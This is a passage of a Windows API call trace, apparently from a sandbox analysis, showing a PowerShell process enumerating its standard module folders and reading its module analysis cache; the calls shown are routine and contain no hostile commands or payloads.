ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0143.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e110) returned 1 [0143.608] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e0c0) returned 1 [0143.613] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x250580e060, nSize=0xeb | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x91 [0143.666] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\modules")) returned 0xffffffff [0143.691] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0143.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e220) returned 1 [0143.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0143.721] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0143.721] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x250580df40 | out: lpFindFileData=0x250580df40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cbf2982130 [0143.735] FindNextFileW (in: hFindFile=0x1cbf2982130, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.736] FindNextFileW (in: hFindFile=0x1cbf2982130, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1 [0143.736] FindNextFileW (in: hFindFile=0x1cbf2982130, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0143.736] FindNextFileW (in: hFindFile=0x1cbf2982130, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester", cAlternateFileName="")) returned 1 [0143.736] FindNextFileW (in: hFindFile=0x1cbf2982130, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0143.737] FindNextFileW (in: hFindFile=0x1cbf2982130, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0143.737] FindNextFileW (in: hFindFile=0x1cbf2982130, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.737] FindClose (in: hFindFile=0x1cbf2982130 | out: hFindFile=0x1cbf2982130) returned 1 [0143.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e160) returned 1 [0143.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e120) returned 1 [0143.867] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0143.867] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0143.867] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0143.867] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0143.867] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0143.867] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0143.868] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0143.868] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0143.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0143.868] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0143.869] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0143.869] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0143.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0143.869] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0143.870] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0143.870] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x32, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x31 [0143.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0143.871] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester" (normalized: "c:\\program files\\windowspowershell\\modules\\pester"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0143.871] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0143.871] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0143.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0143.871] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0143.872] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0143.872] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x36, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", lpFilePart=0x0) returned 0x35 [0143.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0143.872] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0143.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e220) returned 1 [0143.873] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0143.873] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0143.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x250580df40 | out: lpFindFileData=0x250580df40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cbf2982df0 [0143.873] FindNextFileW (in: hFindFile=0x1cbf2982df0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.873] FindNextFileW (in: hFindFile=0x1cbf2982df0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0143.874] FindNextFileW (in: hFindFile=0x1cbf2982df0, lpFindFileData=0x250580df00 | out: lpFindFileData=0x250580df00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0143.874] FindClose (in: hFindFile=0x1cbf2982df0 | out: hFindFile=0x1cbf2982df0) returned 1 [0143.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e160) returned 1 [0143.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e120) returned 1 [0143.874] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0143.874] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0143.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e200) returned 1 [0143.874] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x250580e2e0 | out: lpFileInformation=0x250580e2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0143.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1c0) returned 1 [0143.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0143.878] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0143.879] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0143.879] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0143.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e240) returned 1 [0143.882] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1cbdaabc518 | out: lpFileInformation=0x1cbdaabc518*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0143.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e200) returned 1 [0143.886] GetEnvironmentVariableW (in: lpName="PSModuleAnalysisCachePath", lpBuffer=0x250580c1d0, nSize=0xeb | out: lpBuffer="Nj") returned 0x0 [0143.900] CoTaskMemAlloc (cb=0x20c) returned 0x1cbf29e6f20 [0143.900] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x1cbf29e6f20 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x0 [0143.901] CoTaskMemFree (pv=0x1cbf29e6f20) [0143.901] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1e [0143.901] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x1e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local", lpFilePart=0x0) returned 0x1d [0143.901] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x20 [0143.902] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0143.902] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x4f, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x4e [0143.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580d150) returned 1 [0143.902] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c0 [0143.902] GetFileType (hFile=0x3c0) returned 0x1 [0143.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580d0c0) returned 1 [0143.902] GetFileType (hFile=0x3c0) returned 0x1 [0143.903] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabdc98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d1d8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabdc98*, lpNumberOfBytesRead=0x250580d1d8*=0x1000, lpOverlapped=0x0) returned 1 [0143.921] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabd85d, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabd85d*, lpNumberOfBytesRead=0x250580d1e8*=0x4, lpOverlapped=0x0) returned 1 [0143.921] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabdc98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabdc98*, lpNumberOfBytesRead=0x250580d1e8*=0x1000, lpOverlapped=0x0) returned 1 [0143.922] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabd85e, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabd85e*, lpNumberOfBytesRead=0x250580d1e8*=0x9, lpOverlapped=0x0) returned 1 [0143.922] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabdc98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabdc98*, lpNumberOfBytesRead=0x250580d1e8*=0x1000, lpOverlapped=0x0) returned 1 [0143.924] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabd85f, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabd85f*, lpNumberOfBytesRead=0x250580d1e8*=0x5, lpOverlapped=0x0) returned 1 [0143.924] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabdc98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabdc98*, lpNumberOfBytesRead=0x250580d1e8*=0x1000, lpOverlapped=0x0) returned 1 [0143.925] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabd871, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabd871*, lpNumberOfBytesRead=0x250580d1e8*=0x5, lpOverlapped=0x0) returned 1 [0143.925] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabdc98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabdc98*, lpNumberOfBytesRead=0x250580d1e8*=0x1000, lpOverlapped=0x0) returned 1 [0143.925] ReadFile (in: hFile=0x3c0, lpBuffer=0x1cbdaabd870, nNumberOfBytesToRead=0x6, lpNumberOfBytesRead=0x250580d1e8, lpOverlapped=0x0 | out: lpBuffer=0x1cbdaabd870*, lpNumberOfBytesRead=0x250580d1e8*=0x6, lpOverlapped=0x0) returned 